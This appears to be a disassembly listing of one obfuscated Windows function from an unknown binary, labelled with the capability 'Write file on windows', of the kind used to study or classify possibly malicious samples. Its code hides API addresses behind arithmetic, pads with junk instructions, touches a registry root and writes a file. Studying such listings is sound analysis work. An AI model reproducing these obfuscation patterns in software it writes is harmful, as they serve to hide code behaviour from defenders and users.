Function at 0x402d10
Capabilities:
Write file on windows

Disassembly:
lea ecx, [esi + 0xb]
mov eax, 0x92
xor eax, ecx
dec esi
mov eax, edi
mov dword [0x43d37f], 0
mov edx, dword [0x43d37f]
push edx
mov edi, 0x16e814
mov esi, edi
mov eax, 0x2b78f0
add esi, eax
mov esi, dword [esi]
call esi
or eax, eax
jne 0x4011ea
mov esi, 0
mov eax, esi
push eax
push 0x20e6c5
pop eax
add eax, 0x22f83a
push eax
push 0x2a37a1
pop eax
mov ecx, 0x199b1e
add eax, ecx
push eax
mov edi, dword [sym.imp.shell32.dll_StrCmpNIA]
call edi
or eax, eax
jne 0x4011dd
leave
ret
or ecx, 0x31
sub ebx, eax
add esi, edi
mov esi, 0x20ca9
mov ebx, esi
mov edx, 0x41cd76
add ebx, edx
push ebx
mov dword [0x43df57], 0
mov ebx, dword [0x43df57]
push ebx
call dword [sym.imp.USER32.DLL_LoadBitmapW]
mov ebx, 0x946
add dword [0x43d225], ebx
sub ebx, esi
add ebx, esi
sub ebx, 0x227
je 0x40135f
add ebx, 0x7c3
sub ebx, dword [0x43e2cc]
sub ebx, 0xceb
mov edx, ebx
add edx, 0xf19
jne 0x401377
sub edx, ebx
add edx, dword [0x43dc5b]
cmp edx, 0x725
jns 0x401387
shl edx, 1
add dword [0x43d41e], edx
mov dh, 0x38
sub byte [eax - 0xc], cl
call [ecx - 0x12]
or byte [ecx - 0x2e85d714], dh
mov dh, 0x81
rol dword [edx], 0
add byte [eax], al
mov ecx, edi
mov eax, 0xc0
add edi, esi
cwde
mov edi, 0x4287a3
mov dword [0x43e09f], 0x14af6
add edi, dword [0x43e09f]
push edi
mov dword [0x43dcde], 0
mov ebx, dword [0x43dcde]
push ebx
call dword [sym.imp.USER32.DLL_LoadBitmapW]
xor esi, esi
push esi
mov eax, 0x2d8314
add eax, 0x165e28
push eax
mov eax, 0x319132
add eax, 0x124a22
push eax
mov edx, 0x214110
mov dword [0x43e456], 0x212038
add edx, dword [0x43e456]
push dword [edx]
pop dword [0x43e09d]
mov edx, dword [0x43e09d]
call edx
or eax, eax
jne 0x4011eb
call 0x40139d
lea ecx, [0x18]
xor eax, ebp
cmp esi, dword [0x43d407]
or esi, 0x22
lea ecx, [0xa4]
mov edi, eax
xor eax, ecx
mov ebx, 0x15cc58
mov ecx, ebx
mov dword [0x43e2a9], 0x2e0bcf
add ecx, dword [0x43e2a9]
push ecx
mov ebx, 0
push ebx
call dword [sym.imp.USER32.DLL_LoadBitmapW]
mov ebx, 0
mov edx, ebx
sub edx, dword [0x43e029]
mov ecx, edx
shr ecx, 5
sub ecx, 0x9b9
dec ecx
ror ecx, 5
mov edi, ecx
sub edi, 0xf8a
jae 0x401493
sub edi, 0x16f
js 0x401493
dec edi
shl edi, 1
sub dword [0x43df76], edi
leave
ret
mov dword [ebp - 0x28], ebp
mov eax, dword [ebp - 0x28]
push eax
push esp
pop ebp
sub esp, 0x20
push edi
push esi
push 0
push 0x1d284
call fcn.00401a94
mov dword [0x43de1b], eax
or eax, eax
je 0x402d36
add ebx, eax
inc eax
push 0x1d6
pop esi
mov edx, esi
dec edx
add edx, edi
add edx, 0xc3e
jae 0x402d4c
mov dword [ebp - 0x20], edx
add edx, dword [0x43e4d8]
dec edx
sub edx, 0xf80
jb 0x402d61
add edx, 0x752
inc edx
sub edx, 0x52c
sub edx, dword [0x43df32]
sub dword [0x43d134], edx
push 0
push 0
push 0
push 0x213060
pop edi
shl edi, 1
call dword [edi]
push 0xed731
call fcn.004018f8
mov dword [0x43e34f], eax
or eax, eax
jne 0x402d98
inc esi
push 0x4dbee
dec esi
lea eax, [0x43d517]
push eax
call fcn.00401ba0
mov dword [ebp - 0x10], eax
or eax, eax
je 0x402db5
add eax, esi
add eax, esi
lea eax, [0x43dd86]
push eax
push 0
call fcn.00401d08
mov dword [0x43de81], eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x43d558
push 0x80000003
push 0x213098
pop edx
shl edx, 1
call dword [edx]
xor eax, eax
push eax
mov ecx, 0
mov edx, ecx
push edx
mov dword [0x43dad4], 0
mov eax, dword [0x43dad4]
push eax
mov dword [0x43dab0], 0
mov eax, dword [0x43dab0]
push eax
mov dword [ebp - 0x10], 1
mov esi, dword [ebp - 0x10]
push esi
mov ebx, dword [sym.imp.KERNEL32.DLL_GetNamedPipeInfo]
call ebx
mov dword [0x43d4a0], eax
or eax, eax
je 0x402e35
sub ebx, eax
mov eax, ebx
xor esi, esi
add esi, dword [0x43d960]
add esi, esi
sub esi, 0x1b8
shr esi, 5
sub dword [0x43e020], esi
mov ecx, esi
sub ecx, ebx
dec ecx
shr ecx, 1
mov dword [ebp - 0x20], ecx
sub esi, ebx
push 0xe4577
lea eax, [0x43d12d]
push eax
call fcn.00401af8
mov dword [0x43d00e], eax
or eax, eax
jne 0x402e75
inc ebx
lea eax, [0x43db37]
push eax
call fcn.004019d4
mov edi, eax
sub edi, 0x67a
ror edi, 6
add edi, 0xc3
mov esi, edi
rol esi, 1
sub esi, dword [0x43e27e]
mov edx, esi
shl edx, 5
ror edx, 1
sub dword [0x43d8ae], edx
mov dword [ebp - 8], 0x104
mov ecx, dword [ebp - 8]
push ecx
mov ebx, 0x3e0fb5
mov edx, ebx
add edx, 0x5c808
push edx
mov eax, 0xbbdd90
mov ecx, 0x797d8c
sub eax, ecx
call dword [eax]
or eax, eax
je 0x40131a
mov dword [ebp - 0x10], 0
mov esi, dword [ebp - 0x10]
push esi
mov ebx, 0
mov esi, ebx
push esi
push 0x2e1d8f
pop eax
mov dword [0x43e04d], 0x144289
add eax, dword [0x43e04d]
mov eax, dword [eax]
call eax
mov dword [0x43df51], eax
or eax, eax
je 0x402f0f
inc esi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push 0
mov dword [ebp - 0x20], 0x213008
mov eax, dword [ebp - 0x20]
shl eax, 1
call dword [eax]
xor edx, edx
add edx, ebx
ror edx, 5
shr edx, 7
inc edx
rol edx, 5
sub edx, dword [0x43dafe]
dec edx
sub edx, dword [0x43e165]
cmp edx, 0x599
jb 0x402f57
add edx, dword [0x43d13a]
sub edx, 0xd96
sub dword [0x43e145], edx
sub eax, 0xffffffff
push eax
push eax
push 0x31
push eax
push eax
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
call esi
mov edi, 0
rol edi, 6
shl edi, 8
sub edi, 0x444
add edi, 0x499
sub edi, dword [0x43e17e]
shr edi, 8
ror edi, 2
sub dword [0x43dd23], edi
cmp edi, 0xf3a
jbe 0x402fa9
add edi, eax
rol edi, 1
add dword [0x43e41a], edi
sub eax, 0x237046b
lea ebx, [edi + 0x43d6ee]
add ebx, edi
inc ebx
sub ebx, eax
ror ebx, 1
sub ebx, dword [0x43d4cb]
add ebx, ebx
shr ebx, 5
inc ebx
ror ebx, 1
sub ebx, edi
sub dword [0x43e22d], ebx
sub eax, 0xfd88cb14
mov dword [0x43e37a], eax
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 4]
push ebx
mov dword [ebp - 0x18], 0x74f428
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x1c], 0x329354
sub edi, dword [ebp - 0x1c]
call dword [edi]
or eax, eax
jne 0x401315
mov eax, dword [0x43e37a]
push eax
mov esi, 0
sub esi, edi
add esi, eax
shl esi, 3
mov dword [ebp - 0x20], esi
mov eax, esi
add eax, esi
mov dword [ebp - 4], eax
sub eax, dword [0x43da81]
mov edi, eax
add edi, dword [0x43d35c]
mov dword [ebp - 0x10], edi
ret